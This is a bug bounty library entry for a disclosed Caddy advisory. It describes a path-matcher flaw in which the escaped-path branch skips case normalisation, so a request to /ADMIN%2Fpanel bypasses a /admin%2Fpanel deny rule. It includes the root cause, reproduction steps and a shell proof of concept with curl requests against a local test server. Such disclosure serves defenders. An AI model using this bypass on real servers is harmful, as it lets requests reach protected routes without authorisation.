# Caddy: MatchPath %xx (escaped-path) branch skips case normalization, enabling path-based route/auth bypass

Caddy's path matcher skips lowercasing when the pattern contains %xx escapes, so /ADMIN%2Fpanel bypasses a /admin%2Fpanel deny rule and reaches protected routes.

- Payout: Research
- Severity: high
- Program: Caddy
- Found by: manizada
- Disclosed: 2026-02-24
- CVE: CVE-2026-27587
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-g7pc-pc7g-h8jh
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-g7pc-pc7g-h8jh
- Tags: area:cloud domain:infra domain:web impact:internal-access kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass

**Target:** HTTP path request matcher (MatchPath) in Caddy server
**Root cause:** MatchPath.Provision lowercases patterns and the normal branch lowercases r.URL.Path, but the %-pattern branch compares against CleanPath(r.URL.EscapedPath()) without lowercasing, so case differences defeat the match.
**Steps:**
1. Configure Caddyfile with `@block { path /admin%2Fpanel }`, `respond @block "DENY" 403`, `respond "ALLOW" 200`.
2. Run `caddy run --config Caddyfile --adapter caddyfile`.
3. Baseline: `curl -H 'Host: example.test' http://127.0.0.1:8080/admin%2Fpanel` returns 403 DENY.
4. Bypass: `curl -H 'Host: example.test' http://127.0.0.1:8080/ADMIN%2Fpanel` returns 200 ALLOW, skipping the block.
**How found:** Code reading of MatchPath: noticed the normal branch lowercases reqPath via strings.ToLower(r.URL.Path) while the %-pattern branch builds reqPathForPattern from r.URL.EscapedPath() without lowercasing, then confirmed with a minimal Caddyfile repro.
**Exploitation:** Attacker changes casing of a request path that a %xx path matcher is meant to block; the escaped-path comparison fails to match, the deny route is skipped, and the request falls through to the default handler/upstream. Effective when the backend normalizes case so /ADMIN%2Fpanel maps to the same protected handler.
**Insight:** When a matcher has two code paths (plain vs escaped/encoded), check that every normalization (case folding, cleaning, decoding) applied in one branch is also applied in the other; percent-escape handling is a common place where case-insensitivity silently drops.

## Proof of concept (copied exactly from the original report)

**Caddyfile with %xx path matcher and bypass curls**

```
cat >"${CADDYFILE}" <<EOF
{
    debug
}

:${PORT} {
    log
    @block {
        path /admin%2Fpanel
    }
    respond @block "DENY" 403
    respond "ALLOW" 200
}
EOF

echo
echo "== Caddyfile =="
cat "${CADDYFILE}"

echo
echo "== Start Caddy (debug + capture logs) =="
echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile"
"${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 &
CADDY_PID="$!"

sleep 2

echo
echo "== Request 1 (baseline - expect deny) =="
echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/admin%2Fpanel"
curl -v -H "Host: example.test" "http://${HOST}:${PORT}/admin%2Fpanel" 2>&1 || true

echo
echo "== Request 2 (BYPASS - expect allow) =="
echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/ADMIN%2Fpanel"
curl -v -H "Host: example.test" "http://${HOST}:${PORT}/ADMIN%2Fpanel" 2>&1 || true
```

